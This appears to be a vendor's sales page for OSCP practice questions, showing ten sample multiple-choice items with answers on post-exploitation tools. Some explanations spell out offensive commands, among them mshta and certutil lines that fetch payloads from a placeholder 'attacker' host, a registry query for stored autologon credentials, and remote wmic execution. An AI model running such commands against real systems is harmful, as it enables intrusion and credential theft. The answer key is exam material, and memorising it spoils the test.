OffSec OffSec Certified Professional

OffSec OSCP Practice Test & Study Guide

OffSec Certified Professional

Exam code
OSCP
Questions
250
Updated
25 Nov 2026

What's in the OSCP study guide

  • 250practice questions with answers
  • PDFread and print on any device
  • Test enginepractice and exam modes online
  • 90 daysof free updates
  • Instant access from My Account after payment
  • 90 days of free updates
  • Money-back guarantee – see conditions
  • Help by live chat or email

Price$69

Choose a format

Prices in USD. Downloads appear in My Account once your order is complete.

  • Instant access from My Account after payment
  • 90 days of free updates
  • Money-back guarantee – see conditions
  • Help by live chat or email
Free demo

OSCP sample questions

Check the style and quality of the material before you buy.

Question 1

What does "wmic" allow in post-exploitation? 

  • A. WiFi management 
  • B. Windows Management Instrumentation CLI: query system info, execute commands, lateral movement  
  • C. Windows module installation 
  • D. WMI security auditing 

Answer: B

wmic queries system info and enables remote execution (if local admin): "wmic /node:TARGET process call create cmd /c whoami". LotL technique.

Question 2

What is the purpose of "reg query" in Windows post-exploitation? 

  • A. Register query to AD 
  • B. Query Windows registry for credentials, autologon, installed software, and configuration  
  • C. SQL registry query tool 
  • D. HTTP request with regex 

Answer: B

"reg query HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon" shows autologon credentials. Also finds saved SSH passwords in PuTTY sessions.

Question 3

What is "mshta.exe" used for in post-exploitation? 

  • A. Microsoft HTML Application host: executes .HTA files to run remote VBScript/JScript payloads  
  • B. Microsoft SHA tool for file hashing 
  • C. Microsoft HTTP analysis tool 
  • D. Microsoft Hardware Test Application 

Answer: A

mshta.exe executes HTML Applications. Used for payload execution: "mshta http://attacker/payload.hta . Commonly used in phishing and LotL attacks.

Question 4

What is "certutil.exe" used for in pentesting (LotL)? 

  • A. Certificate management only 
  • B. File download, base64 encode/decode: used as wget alternative in Windows 
  •  C. Certificate vulnerability exploitation 
  • D. Windows certificate store manipulation only 

Answer: B

certutil.exe abused as file downloader: "certutil -urlcache -split -f http://attacker/file.exe C:\temp\file.exe". Living-off-the-land technique.

Question 5

What is "kerbrute" used for? 

  • A. Kerberos brute force only 
  • B. Fast username enumeration and password spraying against Kerberos  
  • C. Kerberos packet capture 
  • D. Kerberos ticket extraction 

Answer: B

Kerbrute enumerates valid domain usernames by checking Kerberos pre-authentication errors without causing lockouts

Question 6

What does "rpcclient -U target" do? 

  • A. Remote procedure call testing 
  • B. Connects to Windows RPC service for AD enumeration: enumdomusers, querydominfo, enumalsgroups  
  • C. Runs RPC server on target 
  • D. Captures RPC traffic 

Answer: B

rpcclient connects to Microsoft RPC service. With null session: enumdomusers lists domain users, querydominfo shows domain info.

Question 7

What is "smbclient" used for? 

  • A. SMB server setup tool 
  • B. Command-line SMB client for browsing and accessing SMB shares from Linux 
  • C. SMB vulnerability scanner 
  • D. SMB traffic capture tool 

Answer: B

"smbclient //TARGET/share -U user" connects to SMB shares. Commands: ls, get file, put file, mget *. "smbclient -L //TARGET -N" lists shares anonymously.

Question 8

What is PowerShell "Invoke-WebRequest" (iwr) used for in pentesting? 

  • A. Testing PowerShell web modules 
  • B. Downloading files from URLs to Windows target: useful for staging payloads  
  • C. Viewing HTTP request headers 
  • D. Invoking web service APIs only 

Answer: B

Question 9

What does "base64 -d" do? 

  • A. Creates base64 encoding 
  • B. Decodes a base64-encoded string  
  • C. Double-decodes base64 
  • D. Base64 encoding with deduplication 

Answer: B

base64 -d decodes base64. Useful for decoding credentials, obfuscated scripts, or encoded payloads found during enumeration.

Question 10

What is "stty raw -echo; fg" used for in shells? 

  • A. Setting terminal font settings 
  • B. Upgrading netcat shells to fully interactive TTY: enables tab completion and Ctrl+C  
  • C. Setting raw network mode 
  • D. Forwarding shell output 

Answer: B

Shell upgrade: 1) python3 pty.spawn bash 2) Ctrl+Z 3) stty raw -echo; fg 4) export TERM=xterm. Gives full interactive shell.

Why RealExamCollection is the best choice for OffSec OSCP exam preparation

Secure your position in a competitive IT industry

The OffSec OSCP certification is a strong way to demonstrate your understanding and ability. Our OSCP questions & answers help you prepare for it, so you can secure your current position and move your career forward.

Reviewed by IT professionals

We keep our OSCP practice questions up to date, with explanations. The questions and answers on RealExamCollection are reviewed by people with professional experience of OffSec technologies.

One place to prepare

RealExamCollection brings together the material you need for the OffSec OSCP exam. Explanations are added to the questions to help you understand the logic behind them and prepare for other OffSec exams.

Updated OSCP questions & answers

We update the exam files regularly to add new questions. The date of the latest update is shown at the top of this page.

Free OSCP demo before you buy

You can view sample OSCP questions on this page before buying, to see the format and pattern of the material.

90 days of free updates

You are eligible for 90 days of free updates after buying the OSCP exam. If the file is updated in that time, you can download the latest version from your account.

Ready to prepare?

OffSec OSCP · 250 questions

Choose a format